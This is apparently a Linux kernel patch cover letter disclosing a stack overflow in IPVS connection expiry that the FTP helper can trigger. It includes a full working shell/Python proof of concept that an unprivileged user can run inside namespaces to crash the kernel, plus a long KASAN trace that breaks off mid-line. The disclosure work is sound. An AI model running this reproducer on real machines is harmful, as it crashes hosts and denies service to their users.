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([122.51.212.64]) by smtp.gmail.com with ESMTPSA id 98e67ed59e1d1-39d95864b4fsm8454407a91.15.2026.09.11.20.56.56 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Fri, 11 Sep 2026 20:57:00 -0700 (PDT) From: Zihan Xi To: horms@verge.net.au, ja@ssi.bg, pablo@netfilter.org, fw@strlen.de, davem@davemloft.net, edumazet@google.com, kuba@kernel.org, pabeni@redhat.com Cc: zihanx@nebusec.ai, phil@nwl.cc, netdev@vger.kernel.org, lvs-devel@vger.kernel.org, netfilter-devel@vger.kernel.org, coreteam@netfilter.org, linux-kernel@vger.kernel.org, stable@vger.kernel.org Subject: [PATCH nf 0/1] ipvs: avoid stack overflow from recursive connection expiration Date: Sat, 12 Sep 2026 03:56:50 +0000 Message-ID: X-Mailer: git-send-email 2.47.3 Precedence: bulk X-Mailing-List: netdev@vger.kernel.org List-Id: List-Subscribe: List-Unsubscribe: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Hi Linux kernel maintainers, We found and validated an issue triggered through net/netfilter/ipvs/ip_vs_ftp.c. An unprivileged user can trigger it by creating a user namespace and a network namespace. We tested the fix with the same trigger. The change applies to the generic ip_vs_conn_expire() control-chain cleanup path. For the reported trigger, it only defers recursive controller expiration; testing showed no change to other IPVS behavior. We will provide detailed information about the bug in this email, along with a PoC to trigger it. ---- details below ---- Bug details: The trigger entry point is ip_vs_ftp_out() in net/netfilter/ipvs/ip_vs_ftp.c. It parses an EPSV reply and creates a wildcard data connection using the advertised port. If that port is 21, ip_vs_conn_new() binds the new connection to the FTP helper a second time, because 21 is the helper's control port. The connection has IP_VS_CONN_F_NO_CPORT, so the next connection from the same client to the VIP on port 21 matches the wildcard entry instead of creating a new top-level entry. Repeating EPSV builds a chain of controlled connections. The root cause is recursive cleanup in ip_vs_conn_expire(), implemented in net/netfilter/ipvs/ip_vs_conn.c. During network namespace teardown, cleanup_net invokes the IPVS connection cleanup path. When a leaf expires, ip_vs_conn_expire() can synchronously expire its controller through ip_vs_conn_del_put(). A long chain therefore causes recursive calls to ip_vs_conn_expire() and exhausts the kernel stack. The fix removes the old ip_vs_conn_del_put() helper. It sets the controller's timeout to zero, expedites its pending timer with ip_vs_conn_expire_now(), and drops the temporary reference. The timer callback then cleans up one controller at a time instead of recursing through the chain. The trigger was run as an unprivileged user with: SELF_UNSHARE=1 MODE=exit ./poc.sh 200 The script runs unshare -Urn, configures loopback, and installs the IPVS service through the legacy sockopt ABI. It then repeats the EPSV exchange. The unpatched run printed "built 200 connections" before the namespace exited. The kernel then produced the decoded KASAN report below. The fixed run produced the same output and returned 0; its serial log had no BUG, KASAN report, kernel panic, or stack-guard report. The test ran in an x86 QEMU VM with 2 vCPUs and 2 GB of RAM. Reproducer: SELF_UNSHARE=1 MODE=exit ./poc.sh 200 The PoC is a shell/Python script; no compilation is required. We did not use packetdrill because this bug requires more than a packet sequence. The PoC must create and destroy user and network namespaces, configure an IPVS service through the legacy sockopt ABI, and run a cooperating backend FTP server. A packetdrill script cannot express the required namespace setup and teardown. The shell/Python PoC therefore drives the full trigger. ------BEGIN poc.sh------ #!/bin/sh set -eu DEPTH="${1:-400}" MODE="${MODE:-exit}" SELF_UNSHARE="${SELF_UNSHARE:-0}" if [ "${SELF_UNSHARE}" = "1" ] && [ -z "${POC_INNER:-}" ]; then exec env POC_INNER=1 MODE="${MODE}" SELF_UNSHARE=0 \ unshare -Urn -- "$0" "${DEPTH}" fi ulimit -n 65535 2>/dev/null || true IP=/usr/sbin/ip PYTHON=/usr/bin/python3 VIP=198.51.100.1 REAL=198.51.100.2 CLIENT=198.51.100.3 PORT=21 "${IP}" link set lo up "${IP}" addr add "${VIP}/32" dev lo 2>/dev/null || true "${IP}" addr add "${REAL}/32" dev lo 2>/dev/null || true "${IP}" addr add "${CLIENT}/32" dev lo 2>/dev/null || true exec "${PYTHON}" - "${DEPTH}" "${MODE}" "${VIP}" "${REAL}" "${CLIENT}" "${PORT}" <<'PY' import ctypes import os import socket import sys import threading import time depth = int(sys.argv[1]) mode = sys.argv[2] vip = sys.argv[3] real = sys.argv[4] client_ip = sys.argv[5] port = int(sys.argv[6]) ready = threading.Event() server_error = [] client_error = [] accepted = [] clients = [] IP_VS_BASE_CTL = 64 + 1024 + 64 IP_VS_SO_SET_ADD = IP_VS_BASE_CTL + 2 IP_VS_SO_SET_FLUSH = IP_VS_BASE_CTL + 5 IP_VS_SO_SET_ADDDEST = IP_VS_BASE_CTL + 7 class Svc(ctypes.Structure): _fields_ = [ ("protocol", ctypes.c_uint16), ("addr", ctypes.c_uint32), ("port", ctypes.c_uint16), ("fwmark", ctypes.c_uint32), ("sched_name", ctypes.c_char * 16), ("flags", ctypes.c_uint), ("timeout", ctypes.c_uint), ("netmask", ctypes.c_uint32), ] class Dest(ctypes.Structure): _fields_ = [ ("addr", ctypes.c_uint32), ("port", ctypes.c_uint16), ("conn_flags", ctypes.c_uint), ("weight", ctypes.c_int), ("u_threshold", ctypes.c_uint32), ("l_threshold", ctypes.c_uint32), ] def native_u32(ip): return int.from_bytes(socket.inet_aton(ip), sys.byteorder) def ipvs_sock(): return socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) def ipvs_flush(): s = ipvs_sock() try: s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_FLUSH, b"") finally: s.close() def ipvs_add_service(): svc = Svc() svc.protocol = socket.IPPROTO_TCP svc.addr = native_u32(vip) svc.port = socket.htons(port) svc.fwmark = 0 svc.sched_name = b"rr" svc.flags = 0 svc.timeout = 0 svc.netmask = 0 s = ipvs_sock() try: s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_ADD, bytes(svc)) finally: s.close() return svc def ipvs_add_dest(svc): dest = Dest() dest.addr = native_u32(real) dest.port = socket.htons(port) dest.conn_flags = 0 dest.weight = 1 dest.u_threshold = 0 dest.l_threshold = 0 s = ipvs_sock() try: s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_ADDDEST, bytes(svc) + bytes(dest)) finally: s.close() def recv_line(sock): data = bytearray() while not data.endswith(b"\n"): chunk = sock.recv(1) if not chunk: raise RuntimeError("unexpected EOF") data.extend(chunk) return bytes(data) def server(): try: srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) srv.bind((real, port)) srv.listen(depth + 16) ready.set() for i in range(depth): conn, addr = srv.accept() conn.sendall(b"220 ready\r\n") line = recv_line(conn) if b"EPSV" not in line.upper(): raise RuntimeError(f"unexpected request on level {i}: {line!r}") conn.sendall(b"229 Entering Extended Passive Mode (|||21|)\r\n") accepted.append(conn) while True: time.sleep(1) except BaseException as exc: server_error.append(repr(exc)) ready.set() try: try: ipvs_flush() except OSError: pass service = ipvs_add_service() ipvs_add_dest(service) except OSError as exc: raise SystemExit(f"ipvs setup failed: {exc}") threading.Thread(target=server, daemon=True).start() ready.wait() if server_error: raise SystemExit(f"server failed early: {server_error[0]}") for i in range(depth): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((client_ip, 0)) s.connect((vip, port)) banner = recv_line(s) if not banner.startswith(b"220 "): raise RuntimeError(f"unexpected banner on level {i}: {banner!r}") s.sendall(b"EPSV\r\n") reply = recv_line(s) if b"229 " not in reply: raise RuntimeError(f"unexpected EPSV reply on level {i}: {reply!r}") clients.append(s) if (i + 1) % 50 == 0 or i + 1 == depth: print(f"built {i + 1} connections", flush=True) except BaseException as exc: client_error.append(repr(exc)) break if client_error: raise SystemExit(f"client failed: {client_error[0]}") if server_error: raise SystemExit(f"server failed: {server_error[0]}") try: with open("/proc/net/ip_vs_conn", "r", encoding="utf-8", errors="replace") as f: conn_lines = sum(1 for _ in f) - 1 except OSError: conn_lines = -1 print(f"ip_vs_conn entries before trigger: {conn_lines}", flush=True) if mode == "hold": while True: time.sleep(1) elif mode == "flush": ipvs_flush() print("IPVS flush returned", flush=True) while True: time.sleep(1) elif mode == "exit": print("exiting namespace holder", flush=True) sys.stdout.flush() os._exit(0) else: raise SystemExit(f"unknown MODE={mode!r}") PY ------END poc.sh-------- The following is the output of scripts/decode_stacktrace.sh on the actual serial log from the unpatched kernel. ----BEGIN crash log---- [ 59.079238] BUG: KASAN: stack-out-of-bounds in __unwind_start (arch/x86/kernel/unwind_orc.c:715) [ 59.079269] Write of size 112 at addr ffff88800131fca8 by task kworker/u8:0/12 [ 59.079271] [ 59.079274] CPU: 0 UID: 0 PID: 12 Comm: kworker/u8:0 Not tainted 7.2.0-g506c8c29c5e7-dirty #2 PREEMPT(lazy) [ 59.079277] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 59.079279] Workqueue: netns cleanup_net [ 59.079284] Call Trace: [ 59.079285] [ 59.079286] ? kasan_record_aux_stack (mm/kasan/generic.c:556) [ 59.079291] ? __call_rcu_common.constprop.0 (kernel/rcu/tree.c:3181) [ 59.079295] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1403) [ 59.079298] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079300] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079303] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079305] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079307] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079310] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079312] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079314] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079316] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079318] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079321] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079323] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079325] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079327] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079330] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079332] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079334] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079336] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079338] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079341] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079343] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079345] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079347] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079350] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079352] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079354] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079356] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079358] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079361] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079363] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079365] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079367] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079370] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079372] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079374] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079376] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079378] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079381] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079383] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079385] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079387] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079390] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079392] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079394] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079396] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079399] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079401] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079403] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079405] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079415] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079417] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079420] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079422] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079424] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079426] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079429] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079431] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079433] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079435] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079437] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079440] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079442] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079444] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079446] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079449] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079451] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079453] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079455] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079457] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079460] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079462] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079464] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079466] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079469] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079471] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079473] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079475] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079477] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079480] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079482] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079484] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079486] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079489] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079491] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079493] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079495] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079497] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079500] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079502] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079504] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079506] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079509] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079511] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079513] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079515] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079517] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079520] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079522] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079524] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079526] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079529] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079531] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079533] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079535] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079537] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079540] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079542] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079544] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079546] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079549] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079551] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079553] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079555] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079557] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079560] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079562] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079564] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079566] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079569] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079571] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079573] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079575] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079577] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079580] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079582] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079584] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079586] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079589] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079591] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079593] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079595] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079598] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079600] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079602] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079604] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079606] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079609] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079611] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079613] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079615] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079618] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079620] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079622] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079624] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079626] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079629] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079631] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079633] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079635] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079638] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079640] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079642] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079644] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079647] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 